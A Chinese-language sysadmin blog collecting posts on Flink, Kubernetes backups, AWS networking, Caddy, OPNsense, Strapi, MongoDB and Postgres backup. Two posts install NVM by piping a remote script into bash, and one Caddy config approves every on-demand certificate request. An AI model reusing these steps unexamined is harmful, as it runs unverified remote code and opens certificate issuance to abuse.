注意啊，上面节点是16GB内存，所以job分了4G，然后task给了8G，TaskSlot给了1，副本也是1。内存富裕4G。是这么算的

我们再看一个配置，是测试环境的，节点是32G：

services:

  jobmanager:
    image: flink:1.17.1
    ports:
      - "8081:8081"
    command: jobmanager
    environment:
      - |
        FLINK_PROPERTIES=
          jobmanager.memory.process.size: 2gb
          jobmanager.rpc.address: jobmanager

  taskmanager:
    image: flink:1.17.1
    depends_on:
      - jobmanager
    command: taskmanager
    environment:
      - |
        FLINK_PROPERTIES=
        taskmanager.numberOfTaskSlots: 4
        taskmanager.memory.process.size: 8gb
        jobmanager.rpc.address: jobmanager
    deploy:
          replicas: 1

测试环境的内存就囧多了，jobmanager只给了2G，但是任务多且大，8G和Slot给了4，这个值是不断失败然后修改得到的

Java进程cpu高排查

Mon, 17 Nov 2025 09:02:11 +0800

没办法了，被连续问到这个问题，必须讲一下了

java程序写得不好，要么cpu高，要么内存高，内存可以不断扩大，我们的某个pod，已经扩到8G了，node总共才16G，无语啊。

那究竟用啥玩意来排查呢？

那必须推荐async-profiler了

使用也很简单，运行排查即可

mkdir -p /opt/app/profiler

wget https://github.com/async-profiler/async-profiler/releases/download/v4.2/async-profiler-4.2-linux-x64.tar.gz

tar zxvf async-profiler-4.2-linux-x64.tar.gz -C /opt/app/profiler --strip-components=1

命令很简单，关键是参数-e的选择：

高 CPU 占用 (CPU-Bound)？缺省参数
- 首选： -e cpu 或 -e cycles
- 目标： 查看火焰图顶端最宽的方法，即消耗 CPU 最多的计算代码。
I/O 阻塞、锁等待或应用假死 (Latency/Blocking-Bound)？
- 首选： -e wall
- 目标： 查找火焰图顶端长时间处于 BLOCKED 或 I/O 相关的代码块，找出阻塞的根源。
频繁 GC 或内存消耗过快？
- 首选： -e alloc
- 目标： 找出哪些方法在短时间内创建了大量对象，导致年轻代 GC 频繁。
明确怀疑锁竞争？
- 首选： -e lock
- 目标： 准确找出哪个锁是主要的竞争点。

那确定目标，cpu是缺省参数，所以可以直接运行

./asprof -d 30 -f 1.html 1

解释，-d 分析实践30秒，-f输出的文件，最后的1是java的进程号，这样就生成了一个1.html的文件

打开看看：

Kubernetes下各种资源的每日定期备份

Mon, 17 Nov 2025 09:01:11 +0800

这个问题其实比较有意思，同事早上用k9s修改Deployment的时候误删了一个deployment，这下麻烦了。那其实自己也有过类似操作，迁移的时候误删过influxdb，最后考古才弄回来，也误删过一个ns的secret，都是大麻烦！

其实系统是有velero备份的，但是从那里面去弄出单独一个ns的deploy进行恢复，怎么也来不及，那幸好有每日资源备份，直接拿过来重建即可。分享一下脚本，那注意一下，因为主节点的etcd也是非常要命的东西，也必须备一下，防止主节点脑裂，到时候可以用备份进行恢复。

#!/bin/bash

export KUBECONFIG=/root/.kube/config
export PATH=/usr/local/bin:$PATH

# K8s 资源备份脚本
# 目标：遍历所有命名空间，将 Deployment, Secret, Ingress, 和 Service 导出为 YAML 文件。

# 设置输出目录
OUTPUT_DIR="/root/k8s_deployments_backup/$(date +%Y%m%d)"
# 要备份的资源类型及其对应的 kubectl 别名
# 注意：Secret 资源会备份所有类型，包括自动生成的 Service Account Tokens。
RESOURCE_TYPES=("deployments" "secrets" "ingresses" "services")

# 确保脚本在遇到错误时立即退出
set -e

echo "--- 正在创建输出目录: $OUTPUT_DIR ---"
mkdir -p "$OUTPUT_DIR"

# ----------------------------------------------------
# 核心函数：备份指定类型的资源
# 参数: $1 = 资源类型 (如 deployment), $2 = 命名空间, $3 = 输出目录
# ----------------------------------------------------
backup_resource() {
    local TYPE=$1
    local NAMESPACE=$2
    local DIR=$3

    # 获取当前命名空间中所有该类型资源的名称
    # 使用 2>/dev/null 隐藏找不到资源时的错误信息
    local RESOURCES=$(kubectl get "$TYPE" -n "$NAMESPACE" -o jsonpath='{.items[*].metadata.name}' 2>/dev/null)

    if [ -z "$RESOURCES" ]; then
        echo "  [信息] 命名空间 $NAMESPACE 中未找到 $TYPE。"
        return
    fi

    echo "  -> 找到 ${#RESOURCES[@]} 个 $TYPE，正在导出..."

    # 遍历每个资源并保存 YAML
    for RESOURCE in $RESOURCES; do
        # 文件名格式: namespace-resource_type-resourcename.yaml
        local FILE_NAME="${NAMESPACE}-${TYPE}-${RESOURCE}.yaml"
        local FILE_PATH="$DIR/$FILE_NAME"

        # 使用 kubectl get 获取 YAML，并通过管道和 sed 清理元数据字段
        kubectl get "$TYPE" "$RESOURCE" -n "$NAMESPACE" -o yaml --ignore-not-found |
          # 清理元数据字段，使 YAML 更干净，便于重新应用
          sed '/^  creationTimestamp:/d' |
          sed '/^  resourceVersion:/d' |
          sed '/^  uid:/d' |
          sed '/^  selfLink:/d' |
          sed '/^  status:/d' \
          > "$FILE_PATH"

        # 检查 Secret 是否为 Service Account Token，如果是，则发出警告
        if [ "$TYPE" == "secrets" ] && grep -q 'kubernetes.io/service-account.name' "$FILE_PATH"; then
             echo "    [警告] Secret $RESOURCE 是 Service Account Token，通常不需要备份。"
        fi
    done
}

# 1. 获取所有命名空间 (Namespace)
NAMESPACES=$(kubectl get ns -o jsonpath='{.items[*].metadata.name}')

if [ -z "$NAMESPACES" ]; then
    echo "错误：未找到任何命名空间。请检查 kubectl 配置和集群连接。"
    exit 1
fi

echo "找到以下命名空间: $NAMESPACES"
echo "----------------------------------------------------"

# 2. 遍历每个命名空间和资源类型
for NAMESPACE in $NAMESPACES; do
    echo "--- 处理命名空间: $NAMESPACE ---"
    
    for TYPE in "${RESOURCE_TYPES[@]}"; do
        backup_resource "$TYPE" "$NAMESPACE" "$OUTPUT_DIR"
    done
    
    echo "--- 命名空间 $NAMESPACE 处理完成 ---"
done

ETCDCTL_API=3 etcdctl \
--endpoints=https://10.10.240.3:2379 \
--cacert=/etc/ssl/etcd/ca.pem \
--cert=/etc/ssl/etcd/etcd-client.pem \
--key=/etc/ssl/etcd/etcd-client-key.pem \
snapshot save $OUTPUT_DIR/etcd-`date +%Y%m%d`-snapshot.db

echo "===================================================="
echo "✅ 所有指定资源已成功备份到目录: $OUTPUT_DIR"
echo "===================================================="

exit 0

AWS 放错在Private子网的机器如何用公网IP连进去

Sun, 16 Nov 2025 09:01:11 +0800

今天面试了一下，面试官问到AWS的子网问题，来说说AWS的最佳实践：

首先是VPC的划定，然后就是三个public子网，三个private子网，都是一个zone分布在a、b、c三个不同机房

来保证最大冗余性，然后pub子网通过IGW来出公网，那Private子网就通过NAT出公网。

但是，但是，但是：

如果你把一台EC2服务器一开始就放错了子网，放到了private子网里，然后上面又跑了重要的服务，无法迁移，无法重启，而且整个vpc里只有这一台ec2，其它东西都是aws的服务或者市场的服务又或者fargate、lambda之类的无服务器，这时候你想进去调试，那就麻烦大了

那能不能给这台private的机器加上公网ip来当作跳板机直接访问呢？

答案是肯定的，可以。

但是又来了，如果这么配置了，你要对路由非常的熟悉，因为随后发生错乱的情况可能需要你手动添加路由，最麻烦的不是配置网卡，而是配置路由！

做法如下：

一、动态添加弹性ip到这个ec2的第二个网卡

二、配置网络

# vi /etc/netplan/50-cloud-init.yaml

# This file is generated from information provided by the datasource.  Changes
# to it will not persist across an instance reboot.  To disable cloud-init's
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    ethernets:
        enX0:
            addresses:
              - 10.0.132.169/20 #The private IP address of primary ENI
            nameservers:
              addresses:
                - 10.0.0.2
            routes:
             - to: 0.0.0.0/0
               via: 10.0.128.1 # Default gateway, you can find it using** ip r** command
               table: 1001 
             - to: 10.0.132.169
               via: 0.0.0.0
               scope: link
               table: 1001
            routing-policy:
             - from: 10.0.132.169
               table: 1001
            dhcp4: no
            dhcp6: false
            match:
                macaddress: 06:36:82:ef:39:39
            set-name: enX0
        enX1:
            addresses:
              - 10.0.3.176/20 #The private IP address of primary ENI
            gateway4: 10.0.0.1
            nameservers:
              addresses:
                - 8.8.8.8
                - 1.1.1.1
            routes:
             - to: 0.0.0.0/0
               via: 10.0.0.1 # Default gateway, you can find it using** ip r** command
               table: 1002 
             - to: 10.0.3.176
               via: 0.0.0.0
               scope: link
               table: 1002
            routing-policy:
             - from: 10.0.3.176
               table: 1002
             - from: 120.116.111.99
               table: 1002             
            dhcp4: no
            dhcp6: false
            match:
                macaddress: 06:29:c3:b2:c5:f9
            set-name: enX1
    version: 2
    
    
netplan apply

详细解释一下，enX0是private子网的网卡，enX1是弹性IP的网卡，注意，即使是弹性IP，也是个内网地址，这两个IP呢，都有各自独立的网关，第二个网卡还有自己的DNS。这就容易发生错乱了，因为缺省路由走第一个网卡，那如果从第二个网卡的公网IP入，出的时候走第一张网卡，那就有意思了。

安装轻量级的Docker registry：zot

Tue, 11 Nov 2025 09:01:11 +0800

服务器在HK，但是去拉取腾讯广州Docker镜像仓的时候总是失败，还是企业版，大无语了。

没办法，被逼无奈，干脆在HK建一个镜像仓，然后推送到那里，这样就方便了。

刚开始的想法是用Harbor，但是Harbor实在太沉重了，而且Harbor的最大问题是过期镜像清理，如果过期镜像出错了，那是清理不掉的，除非重新打包上传覆盖掉错误的镜像，然后再删除才可以，但问题是如果有700、800个错的镜像，那是真没有那个劲去清理了。

那这次就想建个轻量级的，干脆连WEB界面都不要，只要docker login后能push和pull即可！

这样的话zot是个不错的选择，zot是兼容oci标准的，某些地方跟docker是不兼容的：

下载zot

wget https://github.com/project-zot/zot/releases/download/v2.1.10/zot-linux-amd64

准备配置文件

cat >/usr/local/bin/config.json << EOF
{
  "distSpecVersion": "1.0.0-dev",
  "http": {
    "address": "127.0.0.1",
    "port": "5000",
    "compat": ["docker2s2"],
    "auth": {
      "htpasswd": {
        "path": "/usr/local/bin/htpasswd"
      }
    }
  },
  "storage": {
    "rootDirectory": "/data/registry"
  }
}
EOF

注意上面compat，如果不配置，就会出现push的时候出现manifest invalid错误，这是因为docker和oci的标准不同，zot是遵循oci标准的

准备htpasswd，必须用bcrypt的方式，zot不支持其它的！

-B  Force bcrypt hashing of the password (very secure)
htpasswd -B -c /usr/local/bin/htpasswd user01

准备zot.service

Caddy自动签发任意域名证书

Mon, 10 Nov 2025 09:02:11 +0800

公司的SAAS平台，本来多租户的证书管理模式预计是这样的：

给每个租户单独设立一个 xyz.alibaba.com 的子域名，然后用cert-manager管理证书，只要annouce一个 xyz.alibaba.com 的ingress出来，就会自动签发证书。

然而研发觉得这样也是很不爽，连annouce ingress也不愿意，就想客户的域名直接解析一个 xyz.客户.com 的 cname 过来，然后就自动签发证书。

这个需求真的是很有意思，也只有caddy能很轻松的这么实现，方法如下：

一、做好一个caddy的deploy和service，前面直接顶一个Loadbalance

二、配置caddy的配置

/etc/caddy/Caddyfile 的内容

{
    debug
    on_demand_tls {
        ask http://localhost:5555/
    }
}

https:// {
    tls {
        on_demand
    }
    handle {
        reverse_proxy https://alibaba.com {
            header_up Host alibaba.com
        }
    }

    respond "Welcome to dynamic certificate signing!" 200

}

http://localhost:5555 {
        respond 200
}

注意上面，Caddy对这种随便的域名，是要求去问一下后端的服务是否对这个域名进行签发的，这是为了防止滥用。

我们直接做个虚拟服务，回应200即可

这样的做法比较直接了当，当然只适用于国外，国内就麻烦了，未知的域名解析到你的ip上，没备案直接就会被封站。

AWS的ECS使用Fargate服务器如何开启shell进入容器调试

Mon, 10 Nov 2025 09:01:11 +0800

公司用到了Amazon Elastic Container Service，完全托管的容器服务

服务器用的是Fargate，没有自己的服务器，纯托管的，开始部署的时候，也没有考虑到有一天要进入容器进行调试。

现在麻烦就来了，需要进入容器，查看文件日志

结果就很麻烦，解决的步骤如下：

一、查看集群状态，看看任务定义的版本号，下面是206

二、去到相应的任务定义

注意，现在只有一个任务执行角色，任务角色是个空的！！！

然后我们点开任务执行角色，添加权限

初始化的时候只有AmazonECSTaskExecutionRolePolicy, 我们需要加上AmazonSSMManagedInstanceCore

加完就上面一样。

三、返回到任务定义，使用JSON创建新修订

    "taskRoleArn":      "arn:xxxx:ecsTaskExecutionRole",
    "executionRoleArn": "arn:ecsTaskExecutionRole",

新增taskRoleArn，和executionRoleArn保持一致，然后保存

四、按照新版本，部署新任务

从新任务定义更新服务

选择相应集群，相应服务

故障排除配置，务必开启ECS exec，然后更新即可

五、开启容器的shell

我去集群–服务–容器，点击连接

aws ecs execute-command --cluster yoov_work_e_form_prod_cluster --task 23xxxxx --container yontainer --interactive --command '/bin/sh'

实际对应的命令如上。其实也可以用aws的cli客户端直接执行，只不过要拿到集群名和容器名。

MongoDB的伪副本模式

Wed, 29 Oct 2025 09:01:11 +0800

这个话题比较有意思，公司的测试环境本来是一个mongodb的三节点三副本全集群，升级了2次升到8.0。

结果吧，由于里面数据过于庞大，测试的时候经常把节点打挂，虽说是打挂后又能很快被docker拉起来，但是挂的那个时刻应用程序就掉了，导致测试失败。

这三台节点还都是8 cpu 32G memory的配置，真大无语了。

没办法，干脆弄成单节点，然后内存垒高到128G，cpu加到32，弄好之后，读取数据的Flink又不行了，要求是必须读mongo的副本，真完犊子。

那就强制启动个副本模式吧：

mongo启动方式用的是docker compose，启动的时候新增参数 --replSet rs0

# mongo数据目录的属主是 999:999
mkdir -p /data/mongodb/27017/data
chown -R 999:999 /data/mongodb/27017/data
mkdir -p /data/mongodb/27017/conf/
cd /data/mongodb/27017


#先gen keyfile
openssl rand -base64 756 > keyfile
chmod 400 keyfile

#准备mongod.conf
EOF < cat > /data/mongodb/27017/conf/mongod.conf 
systemLog:
   destination: file
   path: "/data/db/mongod.log"
   logAppend: true

net:
   bindIp: 0.0.0.0
   port: 27017

security:
   keyFile: "/data/configdb/keyfile"
EOF

EOF < cat > /data/mongodb/docker-compose.yaml
services:
  mongo:
    container_name: mongo
    image: mongo:8.0
    restart: always
    environment:
      TZ: Asia/Shanghai
    volumes:
      - /data/mongodb/27017/data:/data/db
      - /data/mongodb/27017/conf/mongod.conf:/data/configdb/mongod.conf
      - ./keyfile:/data/configdb/keyfile
    command: --replSet rs0 --config /data/configdb/mongod.conf
    ports:
      - 27017:27017
EOF

docker compose up -d

然后不算完啊，启动之后需要进入容器执行rs.initiate(), 放心大胆的执行，不会破坏任何原有的数据

cert-manager的不同clusterissuer验证方式

Fri, 24 Oct 2025 09:01:11 +0800

cert-manager普通签发证书的时候，通常是DNS的A记录已经解析到相关的Ingress前置的LB 公网IP了。

第一种情况，有公网IP的证书签发，验证方式是http

那准备好cluster-issuer.yaml

apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: letsencrypt-prod1
spec:
  acme:
    server: https://acme-v02.api.letsencrypt.org/directory
    email: zhangranrui@rendoumi.com
    privateKeySecretRef:
      name: letsencrypt-prod1
    solvers:
    - http01:
        ingress:
          class: nginx

第二种情况，如果集群是部署在内网，根本没有公网ip，就不能通过80和443的验证来签发了，只能用DNS校验的方式来签发证书

那以cloudflare托管的DNS为例，我们需要拿到CF的dns-api的token，然后声明，再定义ClusterIssuer

---
apiVersion: v1
kind: Secret
metadata:
  name: cloudflare-api-token-secret
type: Opaque
stringData:
  api-token: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  
---  
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: letsencrypt-prod2
spec:
  acme:
    server: https://acme-v02.api.letsencrypt.org/directory
    email: zhangranrui@rendoumi.com
    privateKeySecretRef:
      name: letsencrypt-prod2
    solvers:
    - dns01:
        cloudflare:
          email: zhangranrui@rendoumi.com
          apiTokenSecretRef:
            name: cloudflare-api-token-secret
            key: api-token

那第一种和第二种的区别就是solvers是不同的。

OPNsense的远程安装并访问WEBGUI

Thu, 23 Oct 2025 09:01:11 +0800

OPNsense安装其实很容易，但是远程装就不那么好玩了。

尤其涉及到内网WEBGUI的访问，缺省安装完成以后，只能从内网口访问管理界面，问题是VPC里只有一台Linux机器，还没有浏览器，怎么办？

记录一下安装过程，备查：

一、下载iso镜像并解压

wget https://pkg.opnsense.org/releases/25.7/OPNsense-25.7-dvd-amd64.iso.bz2
bzip2 -d OPNsense-25.7-dvd-amd64.iso.bz2

二、kvm用virt-install安装iso，注意桥接了2个网卡

#!/bin/bash
mkdir -p /export/kvm/opn/

qemu-img create -f qcow2 /export/kvm/opn/opn.qcow2 20G

virt-install \
--name=opn \
--vcpu=2 \
--ram=2048 \
--disk path=/export/kvm/opn/opn.qcow2,format=qcow2,size=20 \
--cdrom=/export/kvm/iso/OPNsense-25.7-dvd-amd64.iso \
--network bridge=br0,model=virtio \
--network bridge=br1,model=virtio \
--os-type unix \
--os-variant freebsd13.1 \
--vnc --vnclisten=0.0.0.0 --vncport=5901

三、vnc连到port 5901上进行安装配置

OPNsense公网的网卡、ip、mask、gateway配置

OPNsense内网的网卡、ip、mask配置

四、设置内网访问

这里就非常鬼畜了，首先在内网的那台机器上做port转发，这台机器是192.168.100.2，做个systemd的service:

cat /etc/systemd/system/opn-proxy.service

[Unit]
After=network.target
Wants=network.target

[Service]
WorkingDirectory=/usr/local/bin/
Type=simple
ExecStart=/usr/local/bin/go-tcp-proxy_1.0.2_linux_amd64 -l ":4430" -r "192.168.100.1:4430"
Restart=on-failure
RestartSec=1s

[Install]
WantedBy=multi-user.target

如上的话，如果web访问http://192.168.100.2:4430，那Host: 192.168.100.1 会被转发给 192.168.100.1 的OPNsense的4430端口

那OPNsense的内网IP是192.168.100.1，登录用户是root，密码是xxxxxxxx

从vnc上登录，然后进入shell，找到webgui的部分，添加port和althostnames的两项

vi /conf/config.xml
......
    <webgui>
      <protocol>https</protocol>
      <ssl-certref>68adc26101eeb</ssl-certref>
      <port>4430</port>
      <althostnames>192.168.100.2</althostnames>
    </webgui>
......

然后重启webgui

strapi的安装

Thu, 16 Oct 2025 09:01:11 +0800

老实说，strapi的安装真的不是一件容易的事情。

第一步想简单化，于是就用Docker compose来安装，结果并不容易，官方文档不可用，改了半天终于跑起来，然后，嘿嘿，dockerhub上的strapi:latest 早就过期很久了。

于是又琢磨它那个Docker build版本的，问题是，都在宿主机环境build出来了，然后再放到Docker镜像中跑，岂不是脱裤子放屁，多此一举么。

于是回到原点，需要在CLI环境下安装，然后要部署到正式生产环境。

步骤如下：

一、装mysql 8.0

apt install wget lsb-release gnupg -y

wget https://dev.mysql.com/get/mysql-apt-config_0.8.29-1_all.deb

dpkg -i mysql-apt-config_0.8.29-1_all.deb

apt update

apt install mysql-server

二、装NVM，nodejs和yarn

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.4/install.sh | bash

source ~/.nvm/nvm.sh

nvm ls-remote

nvm install v20.19.5

node -v

npm install -g yarn

npm list -g

三、初始化strapi

mkdir /data

cd /data

yarn create strapi

# 我们要跳过它那个免费30天的grow方案
# 然后数据库是 mysql , 填入mysql的一系列参数
# 使用ts

四、配置strapi

# 加入自己的域名
vi /data/strapi/config/server.ts

export default ({ env }) => ({
  host: env('HOST', '0.0.0.0'),
  port: env.int('PORT', 1337),
  url: 'https://blog.rendoumi.com',
  app: {
    keys: env.array('APP_KEYS'),
  },
});


# 建立新文件
vi /data/strapi/src/admin/vite.config.ts

import { defineConfig, mergeConfig } from 'vite';

export default (config) => {
  return mergeConfig(config, defineConfig({
    resolve: {
      alias: {
        '@': '/src',
      },
    },
    server: {
      allowedHosts: true
    }
  }));
};

五、安装nginx，运行程序

apt install nginx

# 注释掉无用配置
vi /etc/nginx/nginx.conf

#        include /etc/nginx/sites-enabled/*;



# 新增配置
vi /etc/nginx/conf.d/strapi.conf

upstream strapi {
    server 127.0.0.1:1337;
}

server {
    # Listen HTTP
    listen 80;
    server_name blog.rendoumi.com;

    # Redirect HTTP to HTTPS
    return 301 https://$host$request_uri;
}

server {
    # Listen HTTPS
    listen 443 ssl;
    server_name webcms.yoov.com;

    # SSL config
    ssl_certificate /usr/local/bin/certs/certificates/blog.rendoumi.com.crt;
    ssl_certificate_key /usr/local/bin/certs/certificates/blog.rendoumi.com.key;

    # Proxy Config
    location / {
        proxy_pass http://strapi;
        proxy_http_version 1.1;
        proxy_set_header X-Forwarded-Host $host;
        proxy_set_header X-Forwarded-Server $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header Host $http_host;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "Upgrade";
        proxy_pass_request_headers on;
    }
}


cd /data/strapi

yarn develop

然后登录就可以了，诡异的是第四步，如果不gen vite.config.ts，那nginx代理访问local host:1337上会出问题。

NVM管理的Nodejs如何做成systemd的serivce服务

Wed, 15 Oct 2025 09:10:11 +0800

有很多next、nuxt、yarn的nodejs程序，都是什么npm start或者yarn develop的启动模式，如何搞成systemd的服务呢，这里面麻烦的就是systemd的服务需要使用全路径。

那方法如下：

一、安装nvm

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.4/install.sh | bash

二、安装nodejs和yarn

source ~/.nvm/nvm.sh

nvm ls-remote

nvm install v20.19.5

node -v

npm install -g yarn

npm list -g

三、弄strapi.service服务

echo $NVM_DIR     # 确定 nvm 的安装目录
/root/.nvm

which node        # 确定 Node.js 的路径
/root/.nvm/versions/node/v20.19.5/bin/node

which yarn        # 确定 Yarn 的路径
/root/.nvm/versions/node/v20.19.5/bin/yarn

cat < EOF > /etc/systemd/system/strapi.service 
[Unit]
Description=Strapi App
After=network.target

[Service]
# 使用用户账户运行服务，替换为实际的用户名
User=root
Group=root

# 指定工作目录，替换为项目的实际路径
WorkingDirectory=/data/strapi

# 加载 nvm 并运行 yarn 或 node
Environment="NVM_DIR=/root/.nvm"
ExecStart=/bin/bash -c ". $NVM_DIR/nvm.sh && yarn develop"

Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload

systemctl enable --now strapi

OPNsense如何做LoadBalance接入后端的Kubernetes nginx ingress --- Nginx篇

Tue, 14 Oct 2025 09:10:11 +0800

新托管了一个机房服务器，基本全用开源软件来构建：

那Firewall就用的OPNsense，后端自建Kubernetes，那OPNsense需要当作一个LoadBalance来使用

结构图如下，证书是放在了Nginx ingres上：

那方法有很多，各有利弊，说下第三个，Nginx的做法

relayd和caddy都说完了，那还有Nginx，Nginx的话，如果证书挂在OPNsense，那就可以用WAF的功能

如果证书放在后端Kubernetes的Nginx ingress上，那就无法用WAF了，算是data stream

那提前说一句，Nginx的配置是有Bug的，如果无法清除干净，需要ssh登录opnsense，然后

把 /conf/下xml配置文件中的 nginx 部分删除掉，然后重启服务器，才可以

os-nginx的配置方法如下：

第一步：首先去Upstream的Upstream Server子标签，建立两组服务器

第二步：再去Upstream的Upstream子标签，建立两组服务

建立的时候advanced mode要打开，PROXY Protocol要选中，Server选中各自的4个服务器，其它保持缺省即可。

第三步：去Data Streams的子标签Stream Servers，建两组服务

编辑一下，监听端口只选指定IP的80和443，PROXY Protocol不要选中，然后Route就选Upstream，Upstream Servers选中对应的，其它缺省即可。

那对应的，后端Kubernetes的Nginx ingress也要做相应配置

Nginx ingress的configmap，需要加上Proxy Protocol的部分

我们用的是官网的 ingress-nginx，配置文件是 ingress-nginx 的namespace中

configmap ingress-nginx-controller，内容如下，对应data那两行：

apiVersion: v1
data:
  use-proxy-protocol: "true"
kind: ConfigMap
metadata:
  annotations:
    meta.helm.sh/release-name: ingress-nginx
    meta.helm.sh/release-namespace: ingress-nginx
    nginx.ingress.kubernetes.io/configuration-snippet: "true"
    nginx.ingress.kubernetes.io/location-snippet: "true"
    nginx.ingress.kubernetes.io/server-snippet: "true"
  creationTimestamp: "2025-08-27T07:38:49Z"
  labels:
    app.kubernetes.io/component: controller
    app.kubernetes.io/instance: ingress-nginx
    app.kubernetes.io/managed-by: Helm
    app.kubernetes.io/name: ingress-nginx
    app.kubernetes.io/part-of: ingress-nginx
    app.kubernetes.io/version: 1.13.1
    helm.sh/chart: ingress-nginx-4.13.1
  name: ingress-nginx-controller
  namespace: ingress-nginx
  resourceVersion: "22298827"
  uid: d6eeef3c-7e44-4667-854a-c7693006b221

编辑后，nginx ingress会自动reload

OPNsense如何做LoadBalance接入后端的Kubernetes nginx ingress --- caddy篇

Tue, 14 Oct 2025 09:05:11 +0800

新托管了一个机房服务器，基本全用开源软件来构建：

那Firewall就用的OPNsense，后端自建Kubernetes，那OPNsense需要当作一个LoadBalance来使用

结构图如下，证书是放在了Nginx ingres上：

那方法有很多，各有利弊，说下第二个，Caddy的做法

Caddy真的是王道，什么泛域名，一个端口跑3个协议，都可以

用到Caddy，就要解决后端Nginx ingress无法获得客户真实IP的问题

Caddy配置如下：

General Settings：

Enable Layer4 Proxy 要勾选上

Auto HTTPS 要选中Off

其它保持默认，然后去到Layer4 Proxy进行配置，同样要配2个，一个HTTP，一个TLS

编辑HTTP的代理，注意 Domain 的地方需要把用到的所有域名列进去

编译TLS的代理

注意上面，Proxy Protocol都要选中v2，这样客户端真实IP才可以透传给后端的Nginx ingress

那同样后端的Nginx ingress的configmap，也需要加上Proxy Protocol的部分

我们用的是官网的 ingress-nginx，配置文件是 ingress-nginx 的namespace中

configmap ingress-nginx-controller，内容如下

apiVersion: v1
data:
  use-proxy-protocol: "true"
kind: ConfigMap
metadata:
  annotations:
    meta.helm.sh/release-name: ingress-nginx
    meta.helm.sh/release-namespace: ingress-nginx
    nginx.ingress.kubernetes.io/configuration-snippet: "true"
    nginx.ingress.kubernetes.io/location-snippet: "true"
    nginx.ingress.kubernetes.io/server-snippet: "true"
  creationTimestamp: "2025-08-27T07:38:49Z"
  labels:
    app.kubernetes.io/component: controller
    app.kubernetes.io/instance: ingress-nginx
    app.kubernetes.io/managed-by: Helm
    app.kubernetes.io/name: ingress-nginx
    app.kubernetes.io/part-of: ingress-nginx
    app.kubernetes.io/version: 1.13.1
    helm.sh/chart: ingress-nginx-4.13.1
  name: ingress-nginx-controller
  namespace: ingress-nginx
  resourceVersion: "22298827"
  uid: d6eeef3c-7e44-4667-854a-c7693006b221

编辑后，nginx ingress会自动reload

OPNsense如何做LoadBalance接入后端的Kubernetes nginx ingress --- relayd篇

Tue, 14 Oct 2025 09:01:11 +0800

新托管了一个机房服务器，基本全用开源软件来构建：

那Firewall就用的OPNsense，后端自建Kubernetes，那OPNsense需要当作一个LoadBalance来使用

结构图如下，证书是放在了Nginx ingres上：

那方法有很多，各有利弊，先说第一个，relayd的做法

relayd是最早的OPNsense的插件，用来做负载均衡，安装这个plugin插件

配置如下：

General Settings：

由于虚机的cpu是4个，所以进程设置成4

Backend Hosts:

后端节点有4个，只写IP即可

Table Checks：

端口检查，因为是直通，所以就设置成TCP检查即可

Tables：

Hosts选中4个节点

Virtual Server：

80和443各有一个

每个呢，设置好前面的监听地址和端口，后端的Table 服务器和Table check的协议，就ok了

最后去 General Settings 选中 Enable Relayd，然后save，就可以了

这么多贴图，是因为如果从CLI配置，其实就一个很简单的relayd.conf文本文件

但是从GUI，就一大堆，而且生成的东西简直不知所云

这样做relayd就相当于一个直通的LoadBalance，把流量送入后端的Nginx ingress所开的NodePort。

这样就可用了。

这样有个弊端，Nginx的ingress拿不到客户端的真实IP，X-forwarded-for无法传过来真的客户端IP，网上查文档是可以的，但是从GUI配了半天，也不知道怎么配，服了也是。

seaweedfs的s3进阶试用方法

Wed, 17 Sep 2025 09:01:11 +0800

SeaweedFS 已经用docker compose的方式部署在生产环境内中了，对外只开放了一个S3的端口127.0.0.1:8333，然后前面套上Caddy的https代理，这样很安全了。

那进阶的要求又来了：

一、S3的pre signed的URL

由于程序之前是在AWS跑的，所以用了S3的最佳实践，pre sign url来进行上传和下载，那seaweedfs也是完全支持的，基本是无缝修改

给出验证程序：

import boto3
from botocore.client import Config

# Configure the S3 client to point to your SeaweedFS S3 gateway
s3_client = boto3.client(
    's3',
    endpoint_url='https://s3.rendoumi.com',  # Replace with your SeaweedFS S3 gateway address
    aws_access_key_id='aaaaaaaa',
    aws_secret_access_key='bbbbbbb',
    config=Config(signature_version='s3v4')
)

bucket_name = 'myfiles'
object_key = 'your-object-key'
expiration_seconds = 3600  # URL valid for 1 hour

# Generate a pre-signed URL for uploading (PUT)
try:
    upload_url = s3_client.generate_presigned_url(
        'put_object',
        Params={'Bucket': bucket_name, 'Key': object_key, 'ContentType': 'application/octet-stream'},
        ExpiresIn=expiration_seconds
    )
    print(f"Pre-signed URL for upload: {upload_url}")
except Exception as e:
    print(f"Error generating upload URL: {e}")

# Generate a pre-signed URL for downloading (GET)
try:
    download_url = s3_client.generate_presigned_url(
        'get_object',
        Params={'Bucket': bucket_name, 'Key': object_key},
        ExpiresIn=expiration_seconds
    )
    print(f"Pre-signed URL for download: {download_url}")
except Exception as e:
    print(f"Error generating download URL: {e}")

能看到临时生成的upload的URL和download的URL，是完美支持的

Postgres pgbackrest备份以及指定时间点恢复

Mon, 15 Sep 2025 10:01:11 +0800

最近狠折腾了一通postgres的备份，跟MySQL的阿里RDB恢复一样，如何不停止数据库服务，恢复某个表的数据到某个时间点，然后放到另一个表中呢？

其实用之前的wal恢复一样的，就是要把当天实例的全备份和wal都复制到另外一台上，然后恢复，再把数据给dump下来，再建一个新表，把数据导回去。

Postgres的wal和PITR时间点恢复

用pgbackrest感觉会好一些，其实都差不多，步骤如下：

一、安装并配置pgbackrest

apt install pgbackrest

# 建立备份的大本营
mkdir -p /var/lib/pgbackrest
chmod 750 /var/lib/pgbackrest
chown postgres:postgres /var/lib/pgbackrest

# 编辑 /etc/pgbackrest.conf
[global]
repo1-path=/var/lib/pgbackrest
repo1-retention-full=26
repo1-retention-archive=180
log-level-file=info
log-level-console=info

[global:archive-push]
compress-level=3

[main]
pg1-path=/var/lib/postgresql/13/main
pg1-port=5432

讲解一下参数

global里面是全局配置

repo1-path=/var/lib/pgbackrest   # pgBackRest 存储库路径
repo1-retention-full=26          # 保留最近的 26 个全量备份，大概6个月，180天
